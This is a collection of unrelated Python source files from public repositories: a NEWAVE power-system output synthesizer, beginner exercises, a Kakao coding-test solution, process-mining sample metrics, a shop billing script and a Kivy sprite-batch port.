def __resolve_UHE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n if synthesis.variable in [\n Variable.VAZAO_TURBINADA,\n Variable.VAZAO_VERTIDA,\n Variable.VAZAO_DEFLUENTE,\n Variable.GERACAO_HIDRAULICA,\n Variable.VOLUME_TURBINADO,\n Variable.VOLUME_VERTIDO,\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n Variable.VIOLACAO_FPHA,\n ]:\n return cls.__resolve_stubs_UHE(synthesis, uow)\n with uow:\n confhd = cls._validate_data(\n uow.files.get_confhd().usinas, pd.DataFrame, \"UHEs\"\n )\n rees = cls._validate_data(\n uow.files.get_ree().rees, pd.DataFrame, \"REEs\"\n )\n dger = uow.files.get_dger()\n ano_inicio = cls._validate_data(\n dger.ano_inicio_estudo, int, \"dger\"\n )\n agregacao_sim_final = dger.agregacao_simulacao_final\n anos_estudo = cls._validate_data(dger.num_anos_estudo, int, \"dger\")\n anos_pos_sim_final = cls._validate_data(\n dger.num_anos_pos_sim_final, int, \"dger\"\n )\n\n # Obtem o fim do periodo individualizado\n if agregacao_sim_final == 1:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n elif rees[\"Ano Fim Individualizado\"].isna().sum() > 0:\n fim = datetime(\n year=ano_inicio + anos_estudo + anos_pos_sim_final,\n month=1,\n day=1,\n )\n else:\n fim = datetime(\n year=int(rees[\"Ano Fim Individualizado\"].iloc[0]),\n month=int(rees[\"Mês Fim Individualizado\"].iloc[0]),\n day=1,\n )\n uhes_idx = confhd[\"Número\"]\n uhes_name = confhd[\"Nome\"]\n\n df_completo = pd.DataFrame()\n n_procs = int(Settings().processors)\n with Pool(processes=n_procs) as pool:\n if n_procs > 1:\n if cls.logger is not None:\n cls.logger.info(\"Paralelizando...\")\n async_res = {\n idx: pool.apply_async(\n cls._resolve_UHE_usina, (uow, synthesis, idx, name)\n )\n for idx, name in zip(uhes_idx, uhes_name)\n }\n dfs = {ir: r.get(timeout=3600) for ir, r in async_res.items()}\n if cls.logger is not None:\n cls.logger.info(\"Compactando dados...\")\n for _, df in dfs.items():\n df_completo = pd.concat([df_completo, df], ignore_index=True)\n\n if not df_completo.empty:\n df_completo = df_completo.loc[df_completo[\"dataInicio\"] < fim, :]\n return df_completo\n\n @classmethod\n def __resolve_UTE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n conft = cls._validate_data(\n uow.files.get_conft().usinas, pd.DataFrame, \"UTEs\"\n )\n utes_idx = conft[\"Número\"]\n utes_name = conft[\"Nome\"]\n df = pd.DataFrame()\n for s, n in zip(utes_idx, utes_name):\n if cls.logger is not None:\n cls.logger.info(f\"Processando arquivo da UTE: {s} - {n}\")\n df_ute = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n ute=s,\n ),\n )\n if df_ute is None:\n continue\n cols = df_ute.columns.tolist()\n df_ute[\"usina\"] = n\n df_ute = df_ute[[\"usina\"] + cols]\n df = pd.concat(\n [df, df_ute],\n ignore_index=True,\n )\n return df\n\n @classmethod\n def __resolve_PEE(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n with uow:\n eolica_cadastro = uow.files.get_eolicacadastro()\n uees_idx = []\n uees_name = []\n regs = eolica_cadastro.pee_cad()\n df = pd.DataFrame()\n if regs is None:\n return df\n elif isinstance(regs, list):\n for r in regs:\n uees_idx.append(r.codigo_pee)\n uees_name.append(r.nome_pee)\n for s, n in zip(uees_idx, uees_name):\n if cls.logger is not None:\n cls.logger.info(f\"Processando arquivo da UEE: {s} - {n}\")\n df_uee = cls._resolve_temporal_resolution(\n synthesis,\n uow.files.get_nwlistop(\n synthesis.variable,\n synthesis.spatial_resolution,\n synthesis.temporal_resolution,\n uee=s,\n ),\n )\n if df_uee is None:\n continue\n cols = df_uee.columns.tolist()\n df_uee[\"pee\"] = n\n df_uee = df_uee[[\"pee\"] + cols]\n df = pd.concat(\n [df, df_uee],\n ignore_index=True,\n )\n return df\n\n @classmethod\n def _resolve_spatial_resolution(\n cls, synthesis: OperationSynthesis, uow: AbstractUnitOfWork\n ) -> pd.DataFrame:\n RESOLUTION_FUNCTION_MAP: Dict[SpatialResolution, Callable] = {\n SpatialResolution.SISTEMA_INTERLIGADO: cls.__resolve_SIN,\n SpatialResolution.SUBMERCADO: cls.__resolve_SBM,\n SpatialResolution.PAR_SUBMERCADOS: cls.__resolve_SBP,\n SpatialResolution.RESERVATORIO_EQUIVALENTE: cls.__resolve_REE,\n SpatialResolution.USINA_HIDROELETRICA: cls.__resolve_UHE,\n SpatialResolution.USINA_TERMELETRICA: cls.__resolve_UTE,\n SpatialResolution.PARQUE_EOLICO_EQUIVALENTE: cls.__resolve_PEE,\n }\n solver = RESOLUTION_FUNCTION_MAP[synthesis.spatial_resolution]\n return solver(synthesis, uow)\n\n @classmethod\n def _resolve_starting_stage(\n cls, df: pd.DataFrame, uow: AbstractUnitOfWork\n ):\n with uow:\n dger = uow.files.get_dger()\n ano_inicio = cls._validate_data(\n dger.ano_inicio_estudo, int, \"dger\"\n )\n mes_inicio = cls._validate_data(\n dger.mes_inicio_estudo, int, \"dger\"\n )\n starting_date = datetime(year=ano_inicio, month=mes_inicio, day=1)\n starting_df = df.loc[df[\"dataInicio\"] >= starting_date].copy()\n starting_df.loc[:, \"estagio\"] -= starting_date.month - 1\n return starting_df.copy()\n\n @classmethod\n def _processa_media(\n cls, df: pd.DataFrame, probabilities: Optional[pd.DataFrame] = None\n ) -> pd.DataFrame:\n cols_cenarios = [\n col\n for col in df.columns.tolist()\n if col not in cls.IDENTIFICATION_COLUMNS\n ]\n cols_cenarios = [\n c for c in cols_cenarios if c not in [\"min\", \"max\", \"median\"]\n ]\n cols_cenarios = [c for c in cols_cenarios if \"p\" not in c]\n estagios = [int(e) for e in df[\"estagio\"].unique()]\n if probabilities is not None:\n df[\"mean\"] = 0.0\n for e in estagios:\n df_estagio = probabilities.loc[\n probabilities[\"estagio\"] == e, :\n ]\n probabilidades = {\n str(int(linha[\"cenario\"])): linha[\"probabilidade\"]\n for _, linha in df_estagio.iterrows()\n }\n probabilidades = {\n **probabilidades,\n **{\n c: 0.0\n for c in cols_cenarios\n if c not in probabilidades.keys()\n },\n }\n df_cenarios_estagio = df.loc[\n df[\"estagio\"] == e, cols_cenarios\n ].mul(probabilidades, fill_value=0.0)\n df.loc[df[\"estagio\"] == e, \"mean\"] = df_cenarios_estagio[\n list(probabilidades.keys())\n ].sum(axis=1)\n else:\n df[\"mean\"] = df[cols_cenarios].mean(axis=1)\n df[\"std\"] = df[cols_cenarios].std(axis=1)\n return df\n\n @classmethod\n def _processa_quantis(\n cls, df: pd.DataFrame, quantiles: List[float]\n ) -> pd.DataFrame:\n cols_cenarios = [\n col\n for col in df.columns.tolist()\n if col not in cls.IDENTIFICATION_COLUMNS\n ]\n for q in quantiles:\n if q == 0:\n label = \"min\"\n elif q == 1:\n label = \"max\"\n elif q == 0.5:\n label = \"median\"\n else:\n label = f\"p{int(100 * q)}\"\n df[label] = df[cols_cenarios].quantile(q, axis=1)\n return df\n\n @classmethod\n def _postprocess(cls, df: pd.DataFrame) -> pd.DataFrame:\n df = cls._processa_quantis(df, [0.05 * i for i in range(21)])\n df = cls._processa_media(df, None)\n cols_not_scenarios = [\n c for c in df.columns if c in cls.IDENTIFICATION_COLUMNS\n ]\n cols_scenarios = [\n c for c in df.columns if c not in cls.IDENTIFICATION_COLUMNS\n ]\n df = pd.melt(\n df,\n id_vars=cols_not_scenarios,\n value_vars=cols_scenarios,\n var_name=\"cenario\",\n value_name=\"valor\",\n )\n return df\n\n @classmethod\n def synthetize(cls, variables: List[str], uow: AbstractUnitOfWork):\n cls.logger = logging.getLogger(\"main\")\n try:\n if len(variables) == 0:\n synthesis_variables = OperationSynthetizer._default_args()\n else:\n synthesis_variables = (\n OperationSynthetizer._process_variable_arguments(variables)\n )\n valid_synthesis = OperationSynthetizer.filter_valid_variables(\n synthesis_variables, uow\n )\n\n for s in valid_synthesis:\n filename = str(s)\n cls.logger.info(f\"Realizando síntese de {filename}\")\n if s.variable == Variable.ENERGIA_VERTIDA:\n df = cls.__stub_EVER(s, uow)\n elif all(\n [\n s.variable == Variable.VIOLACAO_VMINOP,\n s.spatial_resolution\n == SpatialResolution.SISTEMA_INTERLIGADO,\n ]\n ):\n df = cls.__resolve_stub_vminop_sin(s, uow)\n elif all(\n [\n s.variable\n in [\n Variable.VOLUME_ARMAZENADO_ABSOLUTO_FINAL,\n Variable.VIOLACAO_DEFLUENCIA_MAXIMA,\n Variable.VIOLACAO_DEFLUENCIA_MINIMA,\n Variable.VIOLACAO_TURBINAMENTO_MAXIMO,\n Variable.VIOLACAO_TURBINAMENTO_MINIMO,\n Variable.VIOLACAO_FPHA,\n ],\n s.spatial_resolution\n != SpatialResolution.USINA_HIDROELETRICA,\n ]\n ):\n df = cls.__stub_agrega_variaveis_indiv_REE_SBM_SIN(s, uow)\n else:\n df = cls._resolve_spatial_resolution(s, uow)\n if s in cls.SYNTHESIS_TO_CACHE:\n cls.CACHED_SYNTHESIS[s] = df.copy()\n if df is not None:\n if not df.empty:\n df = cls._resolve_starting_stage(df, uow)\n with uow:\n df = cls._postprocess(df)\n uow.export.synthetize_df(df, filename)\n except Exception as e:\n traceback.print_exc()\n cls.logger.error(str(e))\n","repo_name":"rjmalves/sintetizador-newave","sub_path":"sintetizador/services/synthesis/operation.py","file_name":"operation.py","file_ext":"py","file_size_in_byte":61141,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"43265032596","text":"\"\"\"\n2 - Faça uma função chamada DesenhaLinha. Ela deve desenhar uma linha na tela usando vários símbolos de igual (Ex: =======).\nA função recebe por parâmetro quantos sinais de igual serão mostrados\n\"\"\"\n\n\ndef desenha_linha(vezes):\n linha = ''\n for x in range(1, vezes + 1):\n linha += '='\n return linha\n\n\nfor vez in range(11):\n print(desenha_linha(vez))\nprint(desenha_linha(100))\n","repo_name":"Yuri-Santiago/curso-udemy-python","sub_path":"Seção 8/Exercícios/atv02.py","file_name":"atv02.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"73803735762","text":"from copy import deepcopy\nfrom itertools import permutations\n\ndef solution(expression):\n original_equation = list()\n num = 0\n for s in expression:\n if '0' <= s <= '9':\n num = (num * 10) + int(s)\n else:\n original_equation.append(num)\n original_equation.append(s)\n num = 0\n original_equation.append(num)\n\n answer = 0\n for operator_order in permutations('+-*'):\n equation = deepcopy(original_equation)\n for operator in operator_order:\n idx = 1\n while idx < len(equation):\n if equation[idx] == operator:\n equation[idx-1] = eval(f'{equation[idx-1]}{operator}{equation[idx+1]}')\n equation.pop(idx+1)\n equation.pop(idx)\n else:\n idx += 2\n answer = max(answer, abs(equation[0]))\n \n return answer","repo_name":"kimnamjun/CodingTest","sub_path":"프로그래머스/카카오 인턴십/lvl2 수식 최대화.py","file_name":"lvl2 수식 최대화.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42000234945","text":"import numpy as np\nfrom nltk import ngrams\nfrom pyemd import emd\n\nclass EMD():\n def __init__(self, variants, sample_count, distanceMatrix, seed):\n self.variants = variants\n self.sample_count = sample_count\n self.distanceMatrix = distanceMatrix\n self.seed = seed\n self.score = self.score()\n\n def score(self):\n\n sub_hist = (self.sample_count/self.sample_count.sum()).astype(np.float64)\n\n full_hist = (self.variants['count']/self.variants['count'].sum()).values.astype(np.float64)\n return emd(sub_hist,full_hist,self.distanceMatrix.astype(np.float64))\n\n\n\nclass KnolsBehavior():\n artificial_start_activities = '$$start$$'\n artificial_end_activities = '$$end$$'\n\n def __init__(self, variants, sample_count, bandwidth=.05):\n self.variants = variants\n self.sample_count = sample_count\n self.bandwidth = bandwidth\n self.activity_mapping = list(set(a for s in self.variants['seq'] for a in s)) + \\\n [self.artificial_end_activities, self.artificial_start_activities]\n self.undersampled, self.oversampled, self.trulysampled = self.score()\n\n def score(self):\n # Original behavior\n ob = self.extract_behavior(self.variants['count']).reshape(-1)\n ob_normalized = ob/self.variants['count'].sum()\n\n # Sampled behavior\n sb = self.extract_behavior(self.sample_count).reshape(-1)\n sb_normalized = sb/self.sample_count.sum()\n\n diff = sb_normalized - ob_normalized\n diff = diff[ob!=0]\n s = diff.shape[0]\n undersampled_ratio = diff[diff<-(self.bandwidth/2)].shape[0] / s\n oversampled_ratio = diff[diff>(self.bandwidth/2)].shape[0] / s\n trulysampled_ratio = diff[np.abs(diff)99999:\n print(\"Cant solve for more than 5 digits\")\n else:\n d=[0,0,0,0,0]\n i=0\n while net_ammount>0:\n d[i]=net_ammount%10\n i+=1\n net_ammount=net_ammount//10\n num=\"\"\n if d[4]!=0:\n if(d[4]==1):\n num+=tens[d[3]]+ \" Thousand \"\n else:\n num+=nty[d[4]]+\" \"+number[d[3]]+ \" Thousand \"\n else:\n if d[3]!=0:\n num+=number[d[3]]+ \" Thousand \"\n if d[2]!=0:\n num+=number[d[2]]+\" Hundred \"\n if d[1] != 0:\n if (d[1] == 1):\n num += tens[d[0]]\n else:\n num += nty[d[1]] + \" \" + number[d[0]]\n else:\n if d[0] != 0:\n num += number[d[0]]\n sw.writerow([num])\n \ns = []\nf = open(\"bill.csv\",'a+' , newline='')\ndef invoice():\n global dict\n global l\n global i1\n global q1 \n global date\n global b\n import csv \n import time\n import random\n f = open(\"bill.csv\",'a+',newline='')\n o = open(\"products.csv\",'r',newline='')\n c = csv.reader(o)\n for i in c:\n print(i)\n sw = csv.writer(f,delimiter='\\t')\n date = input(\"Enter the date : \")\n k = [\" Srikaanth stores \"]\n sw.writerow(k)\n address = [[\" No 13 Madipakkam Main road Madipakkam chennai-600091 MOBILE NUMBER : 8778092772 \"]]\n sw.writerow( address )\n g = \" 1234ZXVC26520YN\"\n print(\"only 4 counters are there\")\n cn = int(input(\" which counter is billling in \"))\n if cn > 4:\n cn = 4\n sw.writerow([ f\" GSTIN {g} \" f\" counter no {cn} \" ] )\n d = {\"1\": \"card\",\"2\":\"UPI\",\"3\":\"food card\",\"4\":\"cash\"}\n print(d.items())\n t_payment = input(\"what kind of payment is done \")\n if t_payment == \"1\":\n t_payment = \"card\" \n elif t_payment == \"2\" :\n t_payment = \"upi\"\n elif t_payment == \"3\":\n t_payment = \"food card\"\n elif t_payment == \"4\":\n t_payment = \"cash\" \n else:\n print(\"Invalid choice,enter number from 1 to 4\")\n sw.writerow([f\" Payment mode : {t_payment} \" ])\n time = time.asctime()\n t1 = time.split()\n now = t1[3]\n sw.writerow([ f\" Bill No : {b} \" f\"{now} \" f\"{date}\" ])\n lines = (\"------------------------------------------------------------------------------------------------------------------------------------------------------\")\n sw.writerow([ lines ])\n particulars = 'Particulars'\n mrp = 'MRP'\n qty = 'QTY'\n ammount = 'Total'\n gap = ' '*10\n heading = f\"{'Name':12s}{gap} {'mrp':3s}{gap} {'qty':4s}{gap} {'total':3s} \"\n sw.writerow([heading])\n am = 0 \n q = 0 \n i1 = 0\n while True :\n item = input(\"enter the item \")\n mrp = str(float(input(\"enter the price \")))\n qty = str(int(input(\"enter the quantity \")))\n m1 = float(mrp)\n q1 = float(qty)\n a1 = round(q1*m1)\n amount = a1\n r = [item,mrp,qty,amount]\n result = f\"{r[0]:12s}{gap}{r[1]:3s}{gap}{r[2]:4s}{gap}{r[3]:3d}\"\n am += a1\n q += q1\n i1 += 1\n s.append([item,float(mrp),q,am])\n gst = 25/100\n am2 = round(am*gst)\n sw.writerow([result])\n sw.writerow([ lines ])\n ch = input(\"enter y to continue \").lower()\n if ch != 'y' :\n end = f\"Total items : {i1} \" , f\" Total quantity : {q} \" , f\" Total Ammount : {am} \"\n sw.writerow([f\"Total items : {i1} \" , f\" Total quantity : {q} \" , f\" Total Ammount : {am} \"])\n \n global net_ammount\n net_ammount = am + am2\n sw.writerow([f\"Ammount to be paid : {net_ammount}\"])\n sw.writerow([f\"Ammount in words : {num2words(net_ammount)} only\"])\n j = [i1,q,net_ammount,date,item]\n dict = {1: i1 , 2 : q , 3: net_ammount, 4 : date , 5: item}\n l.append(j)\n \n while True :\n if t_payment == \"cash\" :\n print(net_ammount)\n gc = int(input(\"enter the cash you want to give\"))\n if gc == net_ammount:\n sw.writerow([f\" {net_ammount} recevied ammount\"])\n sw.writerow([\" Balance paid : 0\"])\n elif gc > net_ammount:\n sw.writerow([f\" Recevied Ammount : {gc}\"])\n x = gc-net_ammount\n sw.writerow([f\" Balance Ammount : {x}\"])\n else:\n print(\"please your given ammount is lesser than the required ammount\")\n y = net_ammount - gc \n print(f\"{y} is the balance to pay\")\n r = int(input(\"enter the above ammount to close the transcation \"))\n if r == y : \n sw.writerow([f\" {net_ammount} Recevied Ammount\"])\n sw.writerow([[\" Balance paid : 0 \"]])\n if r > y :\n gc+=r\n sw.writerow([f\" Recevied ammount : {gc} \"])\n h = gc - net_ammount\n sw.writerow([f\" Balance ammount : {h} \"])\n else :\n sw.writerow([f\" Recived Ammount : {net_ammount}\"])\n sw.writerow([f\" Balance Paid : 0\"])\n sw.writerow([lines])\n break\n break\n \ndef start():\n global b\n global date\n global i1\n global q1\n global sum \n global f\n global j \n global g\n global quantity\n print(\"hi\")\n sw = csv.writer(f,delimiter='\\t')\n lines = (\"------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ \")\n ki = input(\"please enter y to bill \").lower()\n if ki == 'y':\n while True :\n b+=1\n invoice() \n \n\n co = input(\"are you going to bill for another customer? If yes enter y \").lower()\n sw.writerow( lines )\n if co != 'y':\n break\n \n else:\n print(\"Thank you\")\n\n#start()\ndef read():\n with open('bill.csv', 'r', newline='') as f:\n sr=csv.reader(f)\n for i in sr:\n for j in i:\n print(j)\n\n\ndef checking() :\n global dict \n global l\n global m \n global z \n global k\n global b\n f = open(\"bill.csv\",\"r\",newline='')\n c = csv.reader(f)\n d = input(\"enter the date you want to check\")\n h =[]\n h.append(d)\n while True:\n for i in f :\n if d in dict.values():\n for p in l:\n read()\n print(p[-1])\n m += p[1]\n z += p[0]\n k += p[2]\n else :\n print(\"ughh You might have entered the WRONG date or nothing must have been sold \")\n break \n \n break\n break\n \n \n print(f\"Quantity that sold today : {m}\")\n print(f\"Stuffs that sold for today is {k}\")\n print(f\"Number of quantites sold today : {z}\")\n#checking() \n\n\n\n \n \n \n \n \n\n","repo_name":"Sriikkii/Invoice","sub_path":"bill.py","file_name":"bill.py","file_ext":"py","file_size_in_byte":8607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73355289361","text":"import struct\n\nfrom kivy.app import App\nfrom kivy.graphics.context_instructions import Color\nfrom kivy.graphics.opengl import GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, glDepthMask, glDisable, GL_TRIANGLES, GL_BLEND, glEnable, glBlendFuncSeparate\n\nfrom src.spine.utils.gl.batch import PolygonBatch\nfrom src.spine.utils.gl.mesh import Mesh\nfrom src.spine.utils.gl.spritebatch import SpriteBatch\nfrom src.spine.utils.gl.vertexattribute import VertexAttribute, Usage, ShaderProgram\nfrom src.spine.utils.matrix4 import Matrix4\n\nVERTEX_SIZE = 2 + 1 + 2\n\n\ndef color_to_float_bits(color):\n color_int = (int(255 * color.a) << 24) | (int(255 * color.b) << 16) | (int(255 * color.g) << 8) | (int(255 * color.r))\n int_bits = color_int & 0xfeffffff\n return struct.unpack('l', struct.pack('>f', value))[0]\n color.a = ((c & 0xff000000) >> 24) / 255\n color.b = ((c & 0x00ff0000) >> 16) / 255\n color.g = ((c & 0x0000ff00) >> 8) / 255\n color.r = (c & 0x000000ff) / 255\n\n\nclass PolygonSpriteBatch(PolygonBatch):\n def __init__(self, *args):\n self.mesh = None\n self.vertices = None\n self.triangles = None\n self.vertexIndex = 0\n self.triangleIndex = 0\n self.lastTexture = None\n self.invTexWidth = 0.0\n self.invTexHeight = 0.0\n self.drawing = False\n\n self.transformationMatrix = Matrix4()\n self.projectionMatrix = Matrix4()\n self.combinedMatrix = Matrix4()\n\n self.blendingDisabled = False\n self.blendSrcFunc = GL_SRC_ALPHA\n self.blendDstFunc = GL_ONE_MINUS_SRC_ALPHA\n self.blendSrcFuncAlpha = GL_SRC_ALPHA\n self.blendDstFuncAlpha = GL_ONE_MINUS_SRC_ALPHA\n\n self.shader = None\n self.customShader = None\n self.ownsShader = False\n\n self.color = Color(1, 1, 1, 1)\n self.colorPacked = color_to_float_bits(Color(1, 1, 1, 1))\n\n self.renderCalls = 0\n self.totalRenderCalls = 0\n self.maxTrianglesInBatch = 0\n\n if len(args) == 0:\n args = [2000, None]\n if len(args) == 1:\n args = [args[0], args[0] * 2, None]\n if len(args) == 2:\n args = [args[0], args[0] * 2, args[1]]\n\n if args[0] > 32767:\n raise Exception(\"You cannot have more than 32767 vertices per batch!\")\n\n self.mesh = Mesh(Mesh.VertexDataType.VertexArray, False, args[0], args[1] * 3,\n VertexAttribute(Usage.Position, 2, ShaderProgram.POSITION_ATTRIBUTE),\n VertexAttribute(Usage.ColorPacked, 4, ShaderProgram.COLOR_ATTRIBUTE),\n VertexAttribute(Usage.TextureCoordinates, 2, ShaderProgram.TEXCOORD_ATTRIBUTE + \"0\"))\n\n self.vertices = [0.0 * (args[0] * VERTEX_SIZE)]\n self.triangles = [0 * (args[1] * 3)]\n\n if args[2] is None:\n self.shader = SpriteBatch.createDefaultShader()\n self.ownsShader = True\n else:\n self.shader = args[2]\n\n self.projectionMatrix.setToOrtho2D(0, 0, App.get_running_app().width, App.get_running_app().height)\n\n def begin(self):\n if self.drawing:\n raise Exception(\"PolygonSpriteBatch.end must be called before begin.\")\n self.renderCalls = 0\n\n glDepthMask(False)\n if self.customShader is not None:\n self.customShader.begin()\n else:\n self.shader.begin()\n self.setupMatrices()\n\n self.drawing = True\n\n def end(self):\n if not self.drawing:\n raise Exception(\"PolygonSpriteBatch.begin must be called before end.\")\n if self.vertexIndex > 0:\n self.flush()\n self.lastTexture = None\n self.drawing = False\n\n glDepthMask(True)\n if self.isBlendingEnabled():\n glDisable(GL_BLEND)\n\n if self.customShader is not None:\n self.customShader.end()\n else:\n self.shader.end()\n\n def setColor(self, *args):\n if len(args) == 1:\n tint = args[0]\n self.color.r = tint.r\n self.color.g = tint.g\n self.color.b = tint.b\n self.color.a = tint.a\n\n self.colorPacked = color_to_float_bits(tint)\n elif len(args) == 4:\n self.color.r = args[0]\n self.color.g = args[1]\n self.color.b = args[2]\n self.color.a = args[3]\n\n def setPackedColor(self, packedColor):\n abgr8888ToColor(self.color, packedColor)\n self.colorPacked = packedColor\n\n def getColor(self):\n return self.color\n\n def getPackedColor(self):\n return self.colorPacked\n\n def draw(self, texture, polygonVertices, verticesOffset, verticesCount, polygonTriangles, trianglesOffset, trianglesCount):\n if not self.drawing:\n raise Exception(\"PolygonSpriteBatch.begin must be called before draw.\")\n\n if texture != self.lastTexture:\n self.switchTexture(texture)\n elif self.triangleIndex + trianglesCount > len(self.triangles) or self.vertexIndex + verticesCount > len(self.vertices):\n self.flush()\n\n startVertex = self.vertexIndex / VERTEX_SIZE\n\n for i in range(trianglesOffset, trianglesOffset + trianglesCount):\n self.triangles[self.triangleIndex] = int(polygonTriangles[i] + startVertex)\n self.triangleIndex += 1\n\n for x, y in range(verticesOffset, verticesOffset + verticesCount), range(self.vertexIndex, self.vertexIndex + verticesCount):\n self.vertices[x] = polygonVertices[y]\n self.vertexIndex += verticesCount\n\n def flush(self):\n if self.vertexIndex == 0:\n return\n\n self.renderCalls += 1\n self.totalRenderCalls += 1\n trianglesInBatch = self.triangleIndex\n if trianglesInBatch > self.maxTrianglesInBatch:\n self.maxTrianglesInBatch = trianglesInBatch\n\n self.lastTexture.bind()\n self.mesh.setVertices(self.vertices, 0, self.vertexIndex)\n self.mesh.setIndices(self.triangles, 0, trianglesInBatch)\n if self.blendingDisabled:\n glDisable(GL_BLEND)\n else:\n glEnable(GL_BLEND)\n if self.blendSrcFunc != -1:\n glBlendFuncSeparate(self.blendSrcFunc, self.blendDstFunc, self.blendSrcFuncAlpha, self.blendDstFuncAlpha)\n\n self.mesh.render(self.customShader if self.customShader is not None else self.shader, GL_TRIANGLES, 0, trianglesInBatch)\n\n self.vertexIndex = 0\n self.triangleIndex = 0\n\n def disableBlending(self):\n self.flush()\n self.blendingDisabled = True\n\n def enableBlending(self):\n self.flush()\n self.blendingDisabled = False\n\n def setBendFunction(self, srcFunc, dstFunc):\n self.setBlendFunctionSeparate(srcFunc, dstFunc, srcFunc, dstFunc)\n\n def setBlendFunctionSeparate(self, srcFuncColor, dstFuncColor, srcFuncAlpha, dstFuncAlpha):\n if self.blendSrcFunc == srcFuncColor and self.blendDstFunc == dstFuncColor and self.blendSrcFuncAlpha == srcFuncAlpha and self.blendDstFuncAlpha == dstFuncAlpha:\n return\n\n self.flush()\n self.blendSrcFunc = srcFuncColor\n self.blendDstFunc = dstFuncColor\n self.blendSrcFuncAlpha = srcFuncAlpha\n self.blendDstFuncAlpha = dstFuncAlpha\n\n def getBlendSrcFunc(self):\n return self.blendSrcFunc\n\n def getBlendDstFunc(self):\n return self.blendDstFunc\n\n def getBlendSrcFuncAlpha(self):\n return self.blendSrcFuncAlpha\n\n def getBlendDstFuncAlpha(self):\n return self.blendDstFuncAlpha\n\n def dispose(self):\n self.mesh.dispose()\n if self.ownsShader and self.shader is not None:\n self.shader.dispose()\n\n def getProjectionMatrix(self):\n return self.projectionMatrix\n\n def getTransformationMatrix(self):\n return self.transformationMatrix\n\n def setProjectionMatrix(self, projection):\n if self.drawing:\n self.flush()\n self.projectionMatrix.set(projection)\n if self.drawing:\n self.setupMatrices()\n\n def setTransformationMatrix(self, transformation):\n if self.drawing:\n self.flush()\n self.transformationMatrix.set(transformation)\n if self.drawing:\n self.setupMatrices()\n\n def setupMatrices(self):\n self.combinedMatrix.set(self.projectionMatrix).mul(self.transformationMatrix)\n if self.customShader is not None:\n self.customShader.setUniformMatrix('u_projTrans', self.combinedMatrix)\n self.customShader.setUniform('u_texture', 0)\n else:\n self.shader.setUniformMatrix('u_projTrans', self.combinedMatrix)\n self.shader.setUniform('u_texture', 0)\n\n def switchTexture(self, texture):\n self.flush()\n self.lastTexture = texture\n self.invTexWidth = 1 / texture.getWidth()\n self.invTexHeight = 1 / texture.getHeight()\n\n def setShader(self, shader):\n if self.drawing:\n self.flush()\n if self.customShader is not None:\n self.customShader.end()\n else:\n self.shader.end()\n self.customShader = shader\n if self.drawing:\n if self.customShader is not None:\n self.customShader.begin()\n else:\n self.shader.begin()\n self.setupMatrices()\n\n def getShader(self):\n if self.customShader is None:\n return self.shader\n return self.customShader\n\n def isBlendingEnabled(self):\n return not self.blendingDisabled\n\n def isDrawing(self):\n return self.drawing\n","repo_name":"eman1can/CoatiraneAdventures","sub_path":"src/spine/utils/gl/polygonspritebatch.py","file_name":"polygonspritebatch.py","file_ext":"py","file_size_in_byte":9721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70903456082","text":"def ex51():\n prim = int(input(\"Digite o primeiro termo: \"))\n raz = int(input(\"Digite a razão: \"))\n prog = [prim]\n res = ''\n for x in range(0, 10):\n prog.append(prog[x] + raz)\n if x != 0:\n res += ',' + str(prog[x])\n print(f\"PA[10] = {prim}{res}.\")\n\ndef ex51Prof():\n primeiro = int(input(\"Primeiro termo: \"))\n razao = int(input(\"Razão: \"))\n decimo = primeiro + (10 - 1) * razao\n for c in range(primeiro, decimo + razao, razao):\n print(c, end=' → ')\n print(\"ACABOU.\")\n\ndef ex52():\n n = int(input(\"Digite o número: \"))\n prim = ''\n for x in range(1,n + 1):\n if n % x == 0 and x != 1 and x != n:\n prim = \"Não é primo.\"\n break\n else:\n prim = \"É primo.\"\n print(prim)\n\ndef ex52Prof():\n num = int(input(\"Digite um número: \"))\n tot = 0\n for c in range(1,num + 1):\n if num % c == 0:\n print(\"\\033[34m\", end='')\n tot += 1\n else:\n print(\"\\033[31m\", end='')\n print(f\"{c} \", end='')\n print(f\"\\n\\033[mO número {num} foi divisível {tot} vezes.\")\n if tot == 2:\n print(\"E por isso ele é PRIMO.\")\n else:\n print(\"E por isso ele não é PRIMO.\")\n\ndef ex53():\n x = input(\"Digite uma frase: \").strip().split()\n x = ''.join(x)\n z = ''\n print(x)\n for y in range(len(x) - 1, -1,-1):\n z += x[y]\n print(z)\n if z == x:\n print(\"É palíndromo.\")\n else:\n print(\"Não é palíndromo.\")\n\ndef ex53Prof():\n frase = input(\"Digite uma fase: \").strip().upper()\n palavras = frase.split()\n junto = ''.join(palavras)\n inverso = junto[::-1]\n print(f\"O inverso de {junto} é {inverso}.\")\n if inverso == junto:\n print(\"É palíndromo.\")\n else:\n print(\"Não é palíndromo.\")\n\ndef ex54():\n from datetime import date\n x = []\n idade = 0\n maior = 0\n for y in range(0,7):\n x.append(date(int(input(\"Digite seu ano de nascimento: \")),int(input(\"Digite o mês: \")), int(input(\"Digite o dia: \"))))\n if x[y].month <= date.today().month and x[y].day <= date.today().day:\n idade = date.today().year - x[y].year\n else:\n idade = date.today().year - x[y].year - 1\n if idade >= 18: maior += 1\n 